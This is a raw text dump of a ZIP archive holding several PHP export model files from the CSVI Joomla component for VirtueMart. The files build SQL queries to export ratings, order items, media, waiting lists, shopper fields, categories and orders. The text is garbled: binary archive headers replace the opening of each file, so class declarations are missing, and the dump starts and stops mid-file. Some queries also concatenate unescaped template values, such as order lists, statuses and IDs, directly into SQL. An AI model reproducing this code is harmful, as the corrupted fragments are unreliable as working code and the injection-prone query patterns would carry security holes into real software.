write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'plugin_name': if (!isset($this->_plugins[$record->custom_jplugin_id])) { $query = $db->getQuery(true); $query->select($db->quoteName('name')); $query->from($db->quoteName('#__extensions')); $query->where($db->quoteName('extension_id').' = '.$db->Quote($record->custom_jplugin_id)); $query->where($db->quoteName('type').' = '.$db->Quote('plugin')); $db->setQuery($query); $name = $db->loadResult(); $this->_plugins[$record->custom_jplugin_id]= $name; } else $name = $this->_plugins[$record->custom_jplugin_id]; $name = CsviHelper::replaceValue($field->replace, $name); $this->addExportField($field->combine, $name, $fieldname, $field->column_header); break; case 'vendor_name': if (!isset($this->_vendors[$record->virtuemart_vendor_id])) { $query = $db->getQuery(true); $query->select($db->quoteName('vendor_name')); $query->from($db->quoteName('#__virtuemart_vendors')); $query->where($db->quoteName('virtuemart_vendor_id').' = '.$db->Quote($record->virtuemart_vendor_id)); $db->setQuery($query); $name = $db->loadResult(); $this->_vendors[$record->virtuemart_vendor_id]= $name; } else $name = $this->_vendors[$record->virtuemart_vendor_id]; $name = CsviHelper::replaceValue($field->replace, $name); $this->addExportField($field->combine, $name, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\"6com_csvi/models/com_virtuemart/export/ratingexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { case 'created_on': case 'modified_on': case 'locked_on': case 'created_by': case 'modified_by': case 'locked_by': case 'virtuemart_product_id': case 'published': $userfields[] = $db->quoteName('#__virtuemart_rating_reviews').'.'.$db->quoteName($field->field_name); break; case 'product_sku': case 'vote': $userfields[] = $db->quoteName('#__virtuemart_rating_reviews').'.'.$db->quoteName('virtuemart_product_id'); $userfields[] = $db->quoteName('#__virtuemart_rating_reviews').'.'.$db->quoteName('created_by'); break; case 'username': $userfields[] = $db->quoteName('#__virtuemart_rating_reviews').'.'.$db->quoteName('created_by'); // Man made fields, do not export them case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } /** Export SQL Query * Get all products - including items * as well as products without a price */ $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_rating_reviews'); $query->leftJoin('#__virtuemart_products ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_rating_reviews.virtuemart_product_id'); $query->leftJoin('#__users ON #__users.id = #__virtuemart_rating_reviews.created_by'); // Check for any filters $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_rating_reviews.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Fields to ignore $ignore = array('product_sku', 'vote', 'username'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add export limits $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'product_sku': $query = $db->getQuery(true); $query->select('product_sku'); $query->from('#__virtuemart_products'); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $db->setQuery($query); $product_sku = $db->loadResult(); $product_sku = CsviHelper::replaceValue($field->replace, $product_sku); $this->addExportField($field->combine, $product_sku, $fieldname, $field->column_header); break; case 'vote': $query = $db->getQuery(true); $query->select('vote'); $query->from('#__virtuemart_rating_votes'); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $query->where('created_by = '.$record->created_by); $db->setQuery($query); $vote = $db->loadResult(); $vote = CsviHelper::replaceValue($field->replace, $vote); $this->addExportField($field->combine, $vote, $fieldname, $field->column_header); break; case 'username': $query = $db->getQuery(true); $query->select('username'); $query->from('#__users'); $query->where('id = '.$record->created_by); $db->setQuery($query); $username = $db->loadResult(); $username = CsviHelper::replaceValue($field->replace, $username); $this->addExportField($field->combine, $username, $fieldname, $field->column_header); break; case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\qZ6''9com_csvi/models/com_virtuemart/export/orderitemexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { case 'created_on': case 'modified_on': case 'locked_on': case 'created_by': case 'modified_by': case 'locked_by': case 'virtuemart_order_id': case 'order_status': case 'virtuemart_vendor_id': $userfields[] = $db->quoteName('#__virtuemart_order_items').'.'.$db->quoteName($field->field_name); break; case 'product_sku': $userfields[] = $db->quoteName('#__virtuemart_order_items').'.'.$db->quoteName('order_item_sku').' AS product_sku'; break; case 'full_name': $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('first_name'); $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('middle_name'); $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('last_name'); break; default: $userfields[] = $db->quoteName($field->field_name); break; } } // Construct the query // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_order_items'); $query->leftJoin('#__virtuemart_orders ON #__virtuemart_orders.virtuemart_order_id = #__virtuemart_order_items.virtuemart_order_id'); $query->leftJoin('#__virtuemart_order_userinfos AS user_info1 ON user_info1.virtuemart_order_id = #__virtuemart_order_items.virtuemart_order_id'); $query->leftJoin('#__virtuemart_orderstates ON #__virtuemart_orderstates.order_status_code = #__virtuemart_order_items.order_status'); // Check if there are any selectors $selectors = array(); // Filter by order number start $ordernostart = $template->get('orderitemnostart', 'orderitem', 0, 'int'); if ($ordernostart > 0) { $selectors[] = '#__virtuemart_order_items.virtuemart_order_id >= '.$ordernostart; } // Filter by order number end $ordernoend = $template->get('orderitemnoend', 'orderitem', 0, 'int'); if ($ordernoend > 0) { $selectors[] = '#__virtuemart_order_items.virtuemart_order_id <= '.$ordernoend; } // Filter by list of order numbers $orderlist = $template->get('orderitemlist', 'orderitem'); if ($orderlist) { $selectors[] = '#__virtuemart_order_items.virtuemart_order_id IN ('.$orderlist.')'; } // Filter by order date start $orderdatestart = $template->get('orderitemdatestart', 'orderitem', false); if ($orderdatestart) { $orderdate = JFactory::getDate($orderdatestart); $selectors[] = '#__virtuemart_order_items.created_on >= '.$db->Quote($orderdate->toMySQL()); } // Filter by order date end $orderdateend = $template->get('orderitemdateend', 'orderitem', false); if ($orderdateend) { $orderdate = JFactory::getDate($orderdateend); $selectors[] = '#__virtuemart_order_items.created_on <= '.$db->Quote($orderdate->toMySQL()); } // Filter by order modified date start $ordermdatestart = $template->get('orderitemmdatestart', 'orderitem', false); if ($ordermdatestart) { $ordermdate = JFactory::getDate($ordermdatestart); $selectors[] = '#__virtuemart_order_items.modified_on >= '.$db->Quote($ordermdate->toMySQL()); } // Filter by order modified date end $ordermdateend = $template->get('orderitemmdateend', 'orderitem', false); if ($ordermdateend) { $ordermdate = JFactory::getDate($ordermdateend); $selectors[] = '#__virtuemart_order_items.modified_on <= '.$db->Quote($ordermdate->toMySQL()); } // Filter by order status $orderstatus = $template->get('orderitemstatus', 'orderitem', false); if ($orderstatus && $orderstatus[0] != '') { $selectors[] = '#__virtuemart_order_items.order_status IN (\''.implode("','", $orderstatus).'\')'; } // Filter by order price start $pricestart = $template->get('orderitempricestart', 'orderitem', false, 'float'); if ($pricestart) { $selectors[] = '#__virtuemart_orders.order_total >= '.$pricestart; } // Filter by order price end $priceend = $template->get('orderitempriceend', 'orderitem', false, 'float'); if ($priceend) { $selectors[] = '#__virtuemart_orders.order_total <= '.$priceend; } // Filter by order product $orderproduct = $template->get('orderitemproduct', 'orderitem', false); if ($orderproduct && $orderproduct[0] != '') { $selectors[] = '#__virtuemart_order_items.order_item_sku IN (\''.implode("','", $orderproduct).'\')'; } // Filter by order currency $ordercurrency = $template->get('orderitemcurrency', 'orderitem', false); if ($ordercurrency && $ordercurrency[0] != '') { $selectors[] = '#__virtuemart_orders.order_currency IN (\''.implode("','", $ordercurrency).'\')'; } // Check if we need to attach any selectors to the query if (count($selectors) > 0) $query->where(implode("\n AND ", $selectors)); // Ignore fields $ignore = array('full_name'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'product_item_price': case 'product_final_price': case 'product_price': $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'full_name': $fieldvalue = str_replace(' ', ' ', $record->first_name.' '.$record->middle_name.' '.$record->last_name); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\.5com_csvi/models/com_virtuemart/export/mediaexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'product_sku': $userfields[] = $db->quoteName('#__virtuemart_product_medias').'.'.$db->quoteName('virtuemart_product_id'); break; case 'ordering': case 'virtuemart_media_id': $userfields[] = $db->quoteName('#__virtuemart_medias').'.'.$db->quoteName($field->field_name); break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_medias'); $query->leftJoin('#__virtuemart_product_medias ON #__virtuemart_product_medias.virtuemart_media_id = #__virtuemart_medias.virtuemart_media_id'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state != '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_medias.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Fields to ignore $ignore = array('product_sku'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'product_sku': $query = $db->getQuery(true); $query->select('product_sku'); $query->from('#__virtuemart_products'); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\i2``;com_csvi/models/com_virtuemart/export/waitinglistexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'virtuemart_user_id': case 'virtuemart_product_id': case 'created_on': case 'modified_on': case 'locked_on': case 'created_by': case 'modified_by': case 'locked_by': $userfields[] = $db->quoteName('#__virtuemart_waitingusers').'.'.$db->quoteName($field->field_name); break; // Man made fields, do not export them case 'custom': case 'username': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_waitingusers'); $query->leftJoin('#__virtuemart_products ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_waitingusers.virtuemart_product_id'); $query->leftJoin('#__users ON #__users.id = #__virtuemart_waitingusers.virtuemart_user_id'); // Ignore fields $ignore = array('custom', 'username'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add export limits $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\&  <com_csvi/models/com_virtuemart/export/shopperfieldexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { // Man made fields, do not export them case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } /** Export SQL Query * Get all products - including items * as well as products without a price */ $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_userfields'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_userfields.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ignore some fields $ignore = array('custom'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add export limits $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); JRequest::setVar('logcount', array('export' => $logcount)); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\ ʣ-!-!8com_csvi/models/com_virtuemart/export/categoryexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); $helper = new Com_VirtueMart(); // Get all categories $query = $db->getQuery(true); $query->select('LOWER(l.category_name) AS category_name, category_child_id AS cid, category_parent_id AS pid'); $query->from('#__virtuemart_categories c'); $query->leftJoin('#__virtuemart_category_categories x ON x.category_child_id = c.virtuemart_category_id'); $query->leftJoin('#__virtuemart_categories_'.$template->get('language', 'general').' l ON l.virtuemart_category_id = c.virtuemart_category_id'); $db->setQuery($query); $cats = $db->loadObjectList(); // Check if there are any categories if (empty($cats)) { if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); } $this->writeOutput(); return false; } $categories = array(); // Group all categories together according to their level foreach ($cats as $key => $cat) { $categories[$cat->pid][$cat->cid] = $cat->category_name; } // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'virtuemart_category_id': case 'ordering': $userfields[] = '#__virtuemart_categories.'.$field->field_name; break; case 'file_url': case 'file_url_thumb': $userfields[] = '#__virtuemart_category_medias.virtuemart_media_id'; break; case 'category_name': case 'category_description': case 'metadesc': case 'metakey': case 'slug': case 'category_path': $userfields[] = $db->qn('#__virtuemart_categories').'.'.$db->qn('virtuemart_category_id'); break; default: $userfields[] = $db->qn($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_categories'); $query->leftJoin('#__virtuemart_categories_'.$template->get('language', 'general').' ON #__virtuemart_categories_'.$template->get('language', 'general').'.virtuemart_category_id = #__virtuemart_categories.virtuemart_category_id'); $query->leftJoin('#__virtuemart_category_medias ON #__virtuemart_category_medias.virtuemart_category_id = #__virtuemart_categories.virtuemart_category_id'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state != '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_categories.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ignore fields $ignore = array('category_path','file_url','file_url_thumb',''); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; $fieldreplace = $field->field_name.$field->column_header; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'category_path': $fieldvalue = $helper->createCategoryPathById($record->virtuemart_category_id); $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'file_url': case 'file_url_thumb': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_medias'); $query->where('virtuemart_media_id = '.$record->virtuemart_media_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'category_name': case 'category_description': case 'metadesc': case 'metakey': case 'slug': case 'customtitle': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_categories_'.$template->get('language', 'general')); $query->where('virtuemart_category_id = '.$record->virtuemart_category_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PKs>\k&HXTXT5com_csvi/models/com_virtuemart/export/orderexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); $address = strtoupper($template->get('order_address', 'order', false)); if ($address == 'BTST') $user_info_fields = CsviModelAvailablefields::DbFields('virtuemart_order_userinfos'); else $user_info_fields = array(); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { case 'created_by': case 'created_on': case 'locked_by': case 'locked_on': case 'modified_by': case 'modified_on': case 'order_status': case 'virtuemart_user_id': case 'virtuemart_vendor_id': case 'virtuemart_order_id': $userfields[] = 